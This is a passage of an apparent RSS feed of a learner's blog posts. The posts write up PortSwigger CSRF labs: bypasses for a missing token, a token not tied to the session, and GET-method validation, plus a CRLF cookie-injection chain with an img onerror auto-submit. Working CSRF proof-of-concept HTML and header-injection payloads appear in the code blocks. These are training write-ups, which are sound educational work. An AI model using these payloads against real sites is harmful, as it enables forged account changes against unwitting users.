            <guid isPermaLink="false">https://medium.com/p/c404fe7fe8bf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 01:22:05 GMT</pubDate>
            <atom:updated>2026-04-22T01:22:05.401Z</atom:updated>
            <content:encoded><![CDATA[<p><em>hello everyone this is nobody and it’s 5:15am when i am writing this</em></p><p>so in the last 2 days i was just doing a single lab. just one. tried so many things or i can say tried the same thing like 50 times expecting different results. you know what they say about insanity.</p><p>anyways.</p><p>i was doing this lab from portswigger called “CSRF where token is tied to non-session cookie” sounds fancy right? at first everything seems normal. feels easy. i also found the vulnerability but then… yeah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*VXQT7WcdsvI2Uq-_" /></figure><p>so here’s how the application works — there is this CSRF token and a CSRF key cookie. they are tied to each other but not tied to the user’s session cookie. meaning i can take one account’s csrf token and csrf key, put them with another account’s session cookie and the application will accept it.</p><p>that’s the vulnerability.</p><p>now the problem. i have to write a CSRF PoC. but i don’t have burp professional so i was using online tools to make my PoC. fine. PoC is ready.</p><p>but here’s the catch — the csrf key lives in the cookie section. which means i need to inject this cookie into the victim’s browser. i searched around and found that the search functionality is vulnerable to CRLF injection. whatever you search, the server reflects it and also sets a cookie called “LastSearchTerm”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*IKFp9EMxbrwINNNibJ6edQ.png" /></figure><p>so i built my exploit. i used an img tag with an onerror condition. but it didn’t work. for two days.</p><p>then i was reading someone’s writeup online and found an exploit that actually worked. let me show you:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;body&gt;<br>    &lt;form method=&quot;POST&quot; action=&quot;https://0ac90000047f20d7d809f943006800aa.web-security-academy.net/my-account/change-email&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;carlospwned@12-mon.net&quot;&gt;<br>        &lt;input type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;dlLQ5jnzBgAKmFnTv2VYqkkR6OLvzzOz&quot;&gt;<br>    &lt;/form&gt;</pre><pre>    &lt;img src=&quot;https://0ac90000047f20d7d809f943006800aa.web-security-academy.net/?search=123%3b%20Secure%3b%20HttpOnly%0d%0aSet-Cookie:%20csrfKey=jz9Djip6aoh4fi5wt5plIpMI2gr5nLQ2%3b%20SameSite=None&quot; onerror=&quot;document.forms[0].submit()&quot;&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>now let me explain what’s actually happening here because it took me 2 days to understand this.</p><p><strong>the img tag -</strong></p><p>normally img tags are used to load images. but here? it’s not loading any image. it’s doing something else. the src attribute is pointing to a URL that has a CRLF injection payload. see that %0d%0a in the middle? that&#39;s URL encoding for CRLF which means Carriage Return + Line Feed. in simple words - a new line.</p><p>when the browser makes a GET request to this URL, the server sees the search parameter. the server takes whatever is in search and reflects it. but because of the %0d%0a, the server thinks the request has ended and a new header is starting. so it reads Set-Cookie: csrfKey=jz9Djip6aoh4fi5wt5plIpMI2gr5nLQ2 as a response header.</p><p>and just like that — the victim’s browser gets a new cookie. a csrfKey cookie that WE control.</p><p><strong>why </strong><strong>%0d%0a works -</strong></p><p>in HTTP protocol, headers are separated by new lines. so when the server sees %0d%0a it interprets it as &quot;end of this line, next line is a new header&quot;. the server doesn&#39;t question it. it just does what the request tells it to do. this is the vulnerability.</p><p><strong>the </strong><strong>onerror part -</strong></p><p>the image is never going to load because there is no image at that URL. it’s just a search endpoint. so the browser will fail to load the image and immediately trigger the onerror event. and what does onerror do? it submits the form.</p><p>this timing is important. the browser first makes the request that sets the cookie. then the onerror fires. then the form submits WITH the newly set cookie already in place.</p><p><strong>why the csrf token matches -</strong></p><p>see that csrf value dlLQ5jnzBgAKmFnTv2VYqkkR6OLvzzOz? that token was generated using the SAME csrfKey value jz9Djip6aoh4fi5wt5plIpMI2gr5nLQ2. they are a matching pair.</p><p>so when the form submits, the victim’s browser sends:</p><ul><li>the session cookie (carlos’s session)</li><li>the injected csrfKey cookie (our value)</li><li>the csrf token in the POST body (our matching token)</li></ul><p>the server checks: “does this csrf token match this csrfKey cookie?” yes. “ok request accepted.”</p><p>carlos’s email changes.</p><p><strong>what i was doing wrong before -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*vD5VbDgkv-fsWjZC.jpg" /></figure><p>i was using wiener’s csrf token and wiener’s csrf key. but when i injected the csrf key, the server wasn’t keeping it the way i expected. or sometimes the token and key just didn’t match because they were generated from different sessions. i didn’t understand that the token and key need to be a PAIR. you can’t mix and match.</p><p><strong>where i found this -</strong></p><p>i was stuck for two days. tried everything. then i started reading writeups from other people who had solved this lab. one of them had this exact payload. at first i just copied it and it worked. but then i spent time understanding WHY it worked. that took another few hours.</p><p>the writeup explained that the search parameter reflects user input into response headers. and because of that, you can inject a Set-Cookie header using CRLF. once you can set any cookie you want, and the CSRF token validation only checks that cookie… you can basically become the server.</p><p><strong>the lesson -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*M_AUy_W2mmbZTvad.jpg" /></figure><p>2 days. one lab. same mistake many times. but now i understand CRLF injection. i understand how csrf tokens can be tied to cookies instead of sessions. i understand that the img tag isn’t just for images anymore.</p><p>anyway it’s 5:15am. lab is solved. thanks to that random writeup and the person who wrote it.</p><p>thanks for reading. and you check this write up because it helped me trust me “<a href="https://octavian451.medium.com/web-security-academy-csrf-token-is-tied-to-non-session-cookie-7263330dbc6a">https://octavian451.medium.com/web-security-academy-csrf-token-is-tied-to-non-session-cookie-7263330dbc6a</a>”</p><p><em>ps — if you’re stuck on this lab, just remember: the csrf token and csrf key need to be a matching pair. generate them together. inject them together. and let onerror do its magic.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c404fe7fe8bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Day-6: Let’s do some labs on CSRF]]></title>
            <link>https://z3r0-day.medium.com/day-6-lets-do-some-labs-on-csrf-f22af85e2a32?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/f22af85e2a32</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Sat, 18 Apr 2026 23:15:09 GMT</pubDate>
            <atom:updated>2026-04-18T23:15:09.573Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. This is nobody and today I have some labs on CSRF and XSS and I am going to share what I have learned from those labs.</p><p>First I did some CSRF labs as right now I am studying CSRF.</p><h3>Lab 1: Validation depends on token being present</h3><p>This lab is based on <em>“Validation of CSRF token depends on token being present”</em>. Right now I am learning from PortSwigger.</p><p>As per PortSwigger, some applications correctly validate the token when it is present but skip the validation if the token is omitted.</p><p>In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:</p><pre>POST /email/change HTTP/1.1<br>Host: vulnerable-website.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 25<br>Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm</pre><pre>email=pwned@evil-user.net</pre><p>Okay, that being said, I entered the lab and logged in using the given credentials and changed email. Then I captured the request, sent it to repeater, and removed all unwanted parameters from header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9ZbJldMdzqskZ6nQrjt-kw.png" /></figure><p>Then I copied the request header and went to make CSRF PoC.</p><p>I copied the exploit and pasted it in the HTML hosting page which is given in the lab.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;body&gt;<br>&lt;h1&gt;Form CSRF PoC&lt;/h1&gt;<br>&lt;form method=&quot;POST&quot; action=&quot;https://0ada0076038f775e81d74df200ec0097.web-security-academy.net/my-account/change-email&quot;&gt;<br>&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pavan4@normal-usr.net&quot;&gt;<br>&lt;input type=&quot;submit&quot; value=&quot;Submit Request&quot;&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>Issue I faced:</strong> In this exploit, the email parameter was broken. After name=&quot; the rest of the code went to a new line which threw an error saying &quot;email parameter is missing&quot;. So make sure the code is written perfectly. Even a small tiny mistake can lead to failure.</p><p>Okay, after this I just stored the code and delivered it to the victim. The lab was solved successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IxX_giBDELWFSsQn3YItaw.png" /></figure><h3>One thing I wanted to check</h3><p>Instead of removing the CSRF completely from the header, what if I change its value?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wj2Rm-objTASTOdgZHVW2A.png" /></figure><p>As you can see, it threw a <strong>400 Bad Request</strong> error. That means if CSRF is present, it will validate it. But if I remove it completely, it will not check whether CSRF is present or not.</p><h3>Lab 2: CSRF token is not tied to user session</h3><p>As per PortSwigger, some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.</p><p>In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.</p><p>That means we will use our own valid CSRF token to perform CSRF attack on the victim.</p><p>And as I suspected, the lab provides us two accounts to perform the attack. But still this lab is a little confusing. I spent 2 hours trying to figure things out and was still confused. I watched some YouTube solutions and after another half hour I just followed the solution.</p><h3>What I did</h3><p>There are two accounts:</p><ul><li><strong>wiener : peter</strong></li><li><strong>carlos : montoya</strong></li></ul><p>I considered it like this: wiener is victim, carlos is attacker.</p><p>I logged into both accounts and captured requests in Burp Suite. Then I changed email in wiener’s account and captured that request too.</p><h3>Something new I found (this information was new for me)</h3><p>In this lab, when you log in, the “my account” page loads and on that same page the email change functionality is also available.</p><p>If you capture the request in Burp Suite and look at the response source code, you will see the CSRF token is provided in the response. That CSRF token will be used when you submit the form to change email.</p><p><strong>And one more thing:</strong> Every time the page loads, a new CSRF token is given in the response. That means you cannot use the same token twice.</p><h3>Moving forward</h3><p>I had two requests in repeater:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*VX2oVUXVeEofpy2FGkIPsA.png" /><figcaption><strong>Carlos account</strong> → A GET request of its “my account” page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*3hx7PK23sh0jFDZm40rUTA.png" /><figcaption><strong>Wiener account</strong> → A POST request that submits the form for email change</figcaption></figure><p><strong>Carlos:</strong> My account page GET request<br><strong>Wiener:</strong> Form submitting POST request</p><p>I sent Carlos’ GET request to the server to get a new CSRF token. I got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*5_0IPZSZvhUUQHEe2k-odQ.png" /><figcaption>CSRF token in response</figcaption></figure><p>Then I copied that CSRF token and pasted it into Wiener’s POST request to see if it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*gqpE2aVRJTEkoDDf0GHjXg.png" /></figure><p>In the header, I changed the CSRF value with Carlos’ CSRF and sent the request.</p><p><strong>It worked.</strong> The email address was changed.</p><h3>Making the PoC</h3><p>Finally I made a PoC of this POST request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*bydcOq_clHiPppwVHNZOMA.png" /></figure><p>Added auto-submit script:</p><pre>&lt;script&gt;document.forms[0].submit();&lt;/script&gt;</pre><p>Took a new CSRF token by refreshing Carlos’ “my account” page and pasted it into this exploit.</p><p>Simply stored it in the HTML hosting page in the lab and delivered it to the victim.</p><p><strong>Fooo! Finally the lab was solved.</strong></p><h3>The question still in my mind</h3><p>Here in the lab, I have access to both accounts. I can log into the victim account and have the full header request of the victim account. I can also log into the attacker account from where I took that CSRF token and changed it with victim’s CSRF.</p><p><strong>But in the real world, how does an attacker do this? They only have their own account.</strong></p><p>If anyone has the answer, please share it with me too.</p><h3>That’s it for today</h3><p>See you in the next story. Till then, keep questioning yourself:</p><p><strong>What? How? Why?</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f22af85e2a32" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Day 5 — CSRF Token Bypass using GET Request]]></title>
            <link>https://z3r0-day.medium.com/day-5-csrf-token-bypass-using-get-request-791cba29812d?source=rss-3f741998b328------2</link>
            <guid isPermaLink="false">https://medium.com/p/791cba29812d</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[zero_day]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 22:20:59 GMT</pubDate>
            <atom:updated>2026-04-17T22:20:59.886Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everybody, I hope you guys are doing well.</p><p>Today I didn’t do a lot because I was feeling a bit low, but still, I managed to learn something.</p><p>Last time, I covered the basics of CSRF and solved a lab to understand it practically. But that lab didn’t include any kind of CSRF protection or defense.</p><h3>Understanding CSRF Tokens</h3><p>According to PortSwigger, the next step is to learn about <strong>CSRF defenses</strong> and how to bypass them.</p><p>The first defense is <strong>CSRF tokens</strong>.</p><p>A CSRF token is a <strong>unique, secret, and unpredictable value</strong> generated by the server and shared with the client. When a user performs a sensitive action (like changing email or updating profile details), the request must include the correct token.</p><p>This makes it difficult for an attacker to forge a valid request.</p><p>A common implementation looks like this:</p><pre>&lt;form name=&quot;change-email-form&quot; action=&quot;/my-account/change-email&quot; method=&quot;POST&quot;&gt;<br>    &lt;label&gt;Email&lt;/label&gt;<br>    &lt;input required type=&quot;email&quot; name=&quot;email&quot; value=&quot;example@normal-website.com&quot;&gt;<br>    &lt;input required type=&quot;hidden&quot; name=&quot;csrf&quot; value=&quot;50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&quot;&gt;<br>    &lt;button class=&#39;button&#39; type=&#39;submit&#39;&gt;Update email&lt;/button&gt;<br>&lt;/form&gt;</pre><p>This generates a request like:</p><pre>POST /my-account/change-email HTTP/1.1<br>Host: normal-website.com<br>Content-Type: application/x-www-form-urlencoded</pre><pre>csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&amp;email=example@normal-website.com</pre><p>I also found an important note:</p><blockquote><em>CSRF tokens don’t always have to be in POST requests. Some applications include them in headers. The way tokens are handled directly impacts security.</em></blockquote><h3>Lab Insight</h3><p>Before starting the lab, PortSwigger explained something interesting:</p><p>Some applications validate CSRF tokens correctly for <strong>POST requests</strong>, but skip validation for <strong>GET requests</strong>.</p><p>That’s where the vulnerability comes in.</p><h3>My Approach</h3><p>I started the lab and logged in using the provided credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50MC6ygbsaux0FEJFStB3g.png" /></figure><p>Then:</p><ul><li>Changed the email</li><li>Captured the request using Burp Suite</li><li>Analyzed how the functionality works</li></ul><p>Next:</p><ul><li>Sent the POST request to <strong>Repeater</strong></li><li>Removed unnecessary headers</li><li>Verified that the request still works</li></ul><h3>The Key Step</h3><p>Here’s the important part:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*D_KQsbJNNlyi7p1e9ex0cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*FvTaidxQdhIO1VRAwG1O3A.png" /></figure><p>I changed the request method from <strong>POST → GET</strong></p><p>Then I moved the parameters into the URL like this:</p><pre>/my-account/change-email?email=test@example.com&amp;csrf=TOKEN</pre><p>And surprisingly… it still worked.</p><p>That means:<br>The server was <strong>not validating CSRF token properly for GET requests</strong></p><h3>Exploitation</h3><p>Now I needed to create a CSRF exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHHUBzoUNGSbNjYi2jjHQA.png" /></figure><ul><li>I copied the modified request</li><li>Generated an HTML PoC</li><li>Pasted it into the exploit server</li></ul><p>Then I added this script to auto-submit the request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GLi0H9AWv2117Dal0hOOLg.png" /></figure><pre>&lt;script&gt;document.forms[0].submit();&lt;/script&gt;</pre><p>So now:</p><ul><li>The request triggers automatically</li><li>No user interaction is needed</li></ul><p>Finally:</p><ul><li>Stored the exploit</li><li>Delivered it to the victim</li></ul><p>Lab solved</p><h3>What I Learned</h3><ul><li>CSRF tokens are strong, but only if implemented correctly</li><li>Validation must be consistent across all HTTP methods</li><li>Even small logic flaws (like skipping validation on GET) can break security</li></ul><p>After finishing this, I worked a bit on my college project — I’m building a <strong>subdomain finder tool</strong>.</p><p>If you guys want, I can share more about it in future posts.</p><p>Alright, I’ll see you in the next story.<br>Till then, keep learning new things</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=791cba29812d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>